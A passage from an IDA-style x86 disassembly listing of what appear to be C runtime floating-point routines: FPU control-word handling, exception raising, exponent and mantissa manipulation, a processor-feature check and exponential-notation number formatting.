					; sub_41A227+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41A3EE
		or	byte ptr [ebp+var_C+3],	80h


loc_41A3EE:				; CODE XREF: sub_41A227+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41A3D7


loc_41A3F4:				; CODE XREF: sub_41A227+1ACj
		test	edx, edx
		jz	short loc_41A400
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41A400:				; CODE XREF: sub_41A227+183j
					; sub_41A227+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41A40C
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A227+14Ej
		mov	esi, ebx


loc_41A40C:				; CODE XREF: sub_41A227+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41A419
		push	10h
		call	sub_41A6D4
		pop	ecx


loc_41A419:				; CODE XREF: sub_41A227+1E8j
		and	edi, 0FFFFFFFDh


loc_41A41C:				; CODE XREF: sub_41A227+26j
					; sub_41A227+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41A433
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41A433
		push	20h
		call	sub_41A6D4
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41A433:				; CODE XREF: sub_41A227+1F9j
					; sub_41A227+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41A227	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A43E(int,int,int,int,int,int,double,int)

sub_41A43E	proc near		; CODE XREF: sub_419E89+2Bp
					; sub_419EDC+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41A4EC
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41A4A9
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41A6B1
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41E0AF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A4A3
		push	esi
		call	sub_41A4C6
		pop	ecx


loc_41A4A3:				; CODE XREF: sub_41A43E+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A4A9:				; CODE XREF: sub_41A43E+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41A6B1
		push	[ebp+arg_0]
		call	sub_41A4C6
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41A43E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4C6	proc near		; CODE XREF: sub_419EDC+7Dp
					; sub_41A43E+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41A4E1
		jle	short locret_41A4EB
		cmp	eax, 3
		jg	short locret_41A4EB
		mov	dword_46BB04, 22h
		retn
; ---------------------------------------------------------------------------


loc_41A4E1:				; CODE XREF: sub_41A4C6+7j
		mov	dword_46BB04, 21h

locret_41A4EB:				; CODE XREF: sub_41A4C6+9j
					; sub_41A4C6+Ej
		retn
sub_41A4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4EC	proc near		; CODE XREF: sub_41A43E+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43A638


loc_41A4F3:				; CODE XREF: sub_41A4EC+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41A509
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43A710
		jl	short loc_41A4F3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A509:				; CODE XREF: sub_41A4EC+Dj
		mov	eax, off_43A63C[ecx*8]
		retn
sub_41A4EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A511	proc near		; CODE XREF: sub_419EDC+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41A51D
		push	5
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A51D:				; CODE XREF: sub_41A511+6j
		test	al, 8
		jz	short loc_41A525
		push	1
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A525:				; CODE XREF: sub_41A511+Ej
		test	al, 4
		jz	short loc_41A52D
		push	2
		jmp	short loc_41A533
; ---------------------------------------------------------------------------


loc_41A52D:				; CODE XREF: sub_41A511+16j
		test	al, 1
		jz	short loc_41A535
		push	3


loc_41A533:				; CODE XREF: sub_41A511+Aj
					; sub_41A511+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A535:				; CODE XREF: sub_41A511+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41A511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A53E(double)

sub_41A53E	proc near		; CODE XREF: sub_415D04:loc_415D8Ap
					; sub_415E4B:loc_415ED1p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41A53E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A550(double,int)

sub_41A550	proc near		; CODE XREF: sub_41A5D3+82p
					; sub_41A5D3+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41A550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_415D04+31p
					; sub_415E4B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41A590
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A5A2
		push	1
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A590:				; CODE XREF: sub_41A579+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41A5A2
		cmp	[ebp+arg_0], edx
		jnz	short loc_41A5A2
		push	2
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A5A2:				; CODE XREF: sub_41A579+11j
					; sub_41A579+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41A5B5
		push	3
		jmp	short loc_41A5CC
; ---------------------------------------------------------------------------


loc_41A5B5:				; CODE XREF: sub_41A579+36j
		cmp	cx, 7FF0h
		jnz	short loc_41A5CF
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41A5CA
		cmp	[ebp+arg_0], edx
		jz	short loc_41A5CF


loc_41A5CA:				; CODE XREF: sub_41A579+4Aj
		push	4


loc_41A5CC:				; CODE XREF: sub_41A579+15j
					; sub_41A579+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5CF:				; CODE XREF: sub_41A579+41j
					; sub_41A579+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A5D3(double,int)

sub_41A5D3	proc near		; CODE XREF: sub_41A227+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_4217E0
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41A5F3
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41A689
; ---------------------------------------------------------------------------


loc_41A5F3:				; CODE XREF: sub_41A5D3+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41A662
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41A60B
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41A662


loc_41A60B:				; CODE XREF: sub_41A5D3+31j
		fld	[ebp+arg_0]
		fcomp	dbl_4217E0
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41A623
		push	1
		pop	eax
		jmp	short loc_41A625
; ---------------------------------------------------------------------------


loc_41A623:				; CODE XREF: sub_41A5D3+49j
		xor	eax, eax


loc_41A625:				; CODE XREF: sub_41A5D3+4Ej
					; sub_41A5D3+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41A63E
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41A638
		or	dword ptr [ebp+arg_0+4], 1


loc_41A638:				; CODE XREF: sub_41A5D3+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41A625
; ---------------------------------------------------------------------------


loc_41A63E:				; CODE XREF: sub_41A5D3+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41A64C
		or	byte ptr [ebp+arg_0+7],	80h


loc_41A64C:				; CODE XREF: sub_41A5D3+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A550
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41A689
; ---------------------------------------------------------------------------


loc_41A662:				; CODE XREF: sub_41A5D3+28j
					; sub_41A5D3+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41A550
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41A689:				; CODE XREF: sub_41A5D3+1Bj
					; sub_41A5D3+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41A5D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A694	proc near		; CODE XREF: sub_419F74+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6A2	proc near		; CODE XREF: sub_419F74+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41A6A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6B1	proc near		; CODE XREF: sub_415D04+13p
					; sub_415D04+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41A6B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6D4	proc near		; CODE XREF: sub_41A227+1Dp
					; sub_41A227+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41A6EB
		fld	tbyte_43A738
		fistp	[ebp+arg_0]
		wait


loc_41A6EB:				; CODE XREF: sub_41A6D4+Bj
		test	cl, 8
		jz	short loc_41A700
		fstsw	ax
		fld	tbyte_43A738
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41A700:				; CODE XREF: sub_41A6D4+1Aj
		test	cl, 10h
		jz	short loc_41A70F
		fld	tbyte_43A744
		fstp	[ebp+var_8]
		wait


loc_41A70F:				; CODE XREF: sub_41A6D4+2Fj
		test	cl, 4
		jz	short loc_41A71D
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41A71D:				; CODE XREF: sub_41A6D4+3Ej
		test	cl, 20h
		jz	short locret_41A728
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41A728:				; CODE XREF: sub_41A6D4+4Cj
		leave
		retn
sub_41A6D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A72A	proc near		; CODE XREF: sub_415DD3+Fp
		push	30000h
		push	10000h
		call	sub_41E0E7
		pop	ecx
		pop	ecx
		retn
sub_41A72A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A73C	proc near		; CODE XREF: sub_41A77A:loc_41A79Ej

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4217F0
		fstp	[ebp+var_8]
		fld	dbl_4217E8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_421670
		fnstsw	ax
		sahf
		jbe	short loc_41A776
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A776:				; CODE XREF: sub_41A73C+33j
		xor	eax, eax
		leave
		retn
sub_41A73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A77A	proc near		; CODE XREF: sub_415DD3+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4210C8	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41A79E
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4210C4	; GetProcAddress
		test	eax, eax
		jz	short loc_41A79E
		push	0
		call	eax ; sub_415DD3
		retn
; ---------------------------------------------------------------------------


loc_41A79E:				; CODE XREF: sub_41A77A+Dj
					; sub_41A77A+1Dj
		jmp	sub_41A73C
sub_41A77A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A7A3	proc near		; CODE XREF: sub_417D6C+3CBp
					; DATA XREF: sub_415DEB+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_417033
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41A7E3


loc_41A7B7:				; CODE XREF: sub_41A7A3+3Ej
		inc	esi
		cmp	dword_4385FC, 1
		jle	short loc_41A7D0
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41A7DF
; ---------------------------------------------------------------------------


loc_41A7D0:				; CODE XREF: sub_41A7A3+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4383F0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41A7DF:				; CODE XREF: sub_41A7A3+2Bj
		test	eax, eax
		jnz	short loc_41A7B7


loc_41A7E3:				; CODE XREF: sub_41A7A3+12j
		mov	cl, byte_438600
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41A7EE:				; CODE XREF: sub_41A7A3+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41A7EE
		pop	esi
		retn
sub_41A7A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7FD	proc near		; CODE XREF: sub_417D6C+3E2p
					; DATA XREF: sub_415DEB+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_438600
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A819


loc_41A80D:				; CODE XREF: sub_41A7FD+1Aj
		cmp	cl, dl
		jz	short loc_41A819
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41A80D


loc_41A819:				; CODE XREF: sub_41A7FD+Ej
					; sub_41A7FD+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41A84A


loc_41A820:				; CODE XREF: sub_41A7FD+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41A833
		cmp	cl, 65h
		jz	short loc_41A833
		cmp	cl, 45h
		jz	short loc_41A833
		inc	eax
		jmp	short loc_41A820
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A7FD+27j
					; sub_41A7FD+2Cj ...
		mov	ecx, eax


loc_41A835:				; CODE XREF: sub_41A7FD+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41A835
		cmp	[eax], dl
		jnz	short loc_41A840
		dec	eax


loc_41A840:				; CODE XREF: sub_41A7FD+40j
					; sub_41A7FD+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41A840

locret_41A84A:				; CODE XREF: sub_41A7FD+21j
		retn
sub_41A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A84B	proc near		; DATA XREF: sub_415DEB+28o
					; .text:off_43A760o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jb	short loc_41A860
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A860:				; CODE XREF: sub_41A84B+Fj
		xor	eax, eax
		retn
sub_41A84B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A863	proc near		; CODE XREF: sub_41B605+430p
					; DATA XREF: sub_415DEB+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A88C
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41E5AA
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A88C:				; CODE XREF: sub_41A863+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41E5D7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41A863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8A1	proc near		; CODE XREF: sub_41AB1E+17p
					; sub_41AB68+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_46BB74, 0
		push	ebx
		push	esi
		jz	short loc_41A8D6
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_46BB70
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41ABB9
		pop	ecx
		pop	ecx
		jmp	short loc_41A90E
; ---------------------------------------------------------------------------


loc_41A8D6:				; CODE XREF: sub_41A8A1+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41E67B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41E604
		add	esp, 14h


loc_41A90E:				; CODE XREF: sub_41A8A1+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A91A
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A91A:				; CODE XREF: sub_41A8A1+73j
		test	ebx, ebx
		jle	short loc_41A932
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_438600
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A932:				; CODE XREF: sub_41A8A1+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_46BB74, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415A20
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A959
		mov	byte ptr [ecx],	45h


loc_41A959:				; CODE XREF: sub_41A8A1+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A99E
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A96D
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A96D:				; CODE XREF: sub_41A8A1+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A984
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A984:				; CODE XREF: sub_41A8A1+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A99B
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A99B:				; CODE XREF: sub_41A8A1+E7j
		add	[ecx+1], bl


loc_41A99E:				; CODE XREF: sub_41A8A1+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A8A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9A5	proc near		; CODE XREF: sub_41AB45+13p
					; sub_41AB68+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_46BB74, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A9E0
		mov	eax, dword_46BB78
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_46BB70
		cmp	eax, ebx
		jnz	short loc_41AA10
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41AA10
; ---------------------------------------------------------------------------


loc_41A9E0:				; CODE XREF: sub_41A9A5+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41E67B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41E604
		add	esp, 14h


loc_41AA10:				; CODE XREF: sub_41A9A5+22j
					; sub_41A9A5+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41AA1E
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41AA1E:				; CODE XREF: sub_41A9A5+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41AA35
		push	1
		push	edi
		call	sub_41ABB9
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41AA37
; ---------------------------------------------------------------------------


loc_41AA35:				; CODE XREF: sub_41A9A5+7Ej
		add	edi, eax


loc_41AA37:				; CODE XREF: sub_41A9A5+8Ej
		test	ebx, ebx
		jle	short loc_41AA7C
		push	1
		push	edi
		call	sub_41ABB9
		mov	al, byte_438600
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41AA7C
		cmp	byte_46BB74, 0
		jz	short loc_41AA61
		neg	esi
		jmp	short loc_41AA67
; ---------------------------------------------------------------------------


loc_41AA61:				; CODE XREF: sub_41A9A5+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41AA69


loc_41AA67:				; CODE XREF: sub_41A9A5+BAj
		mov	ebx, esi


loc_41AA69:				; CODE XREF: sub_41A9A5+C0j
		push	ebx
		push	edi
		call	sub_41ABB9
		push	ebx
		push	30h
		push	edi
		call	sub_415390
		add	esp, 14h


loc_41AA7C:				; CODE XREF: sub_41A9A5+94j
					; sub_41A9A5+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA83	proc near		; CODE XREF: sub_41AB68+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41E67B
		mov	dword_46BB70, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_46BB78, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41E604
		mov	eax, dword_46BB70
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_46BB78, ecx
		setl	cl
		mov	byte_46BB7C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_46BB78, eax
		jl	short loc_41AB09
		cmp	eax, ebx
		jge	short loc_41AB09
		test	cl, cl
		jz	short loc_41AAFA


loc_41AAF0:				; CODE XREF: sub_41AA83+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41AAF0
		and	[esi-2], al


loc_41AAFA:				; CODE XREF: sub_41AA83+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AB45
		add	esp, 0Ch
		jmp	short loc_41AB19
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41AA83+63j
					; sub_41AA83+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AB1E
		add	esp, 10h


loc_41AB19:				; CODE XREF: sub_41AA83+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AA83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB1E	proc near		; CODE XREF: sub_41AA83+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_46BB74, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A8A1
		and	byte_46BB74, 0
		add	esp, 10h
		retn
sub_41AB1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB45	proc near		; CODE XREF: sub_41AA83+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_46BB74, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A9A5
		and	byte_46BB74, 0
		add	esp, 0Ch
		retn
sub_41AB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


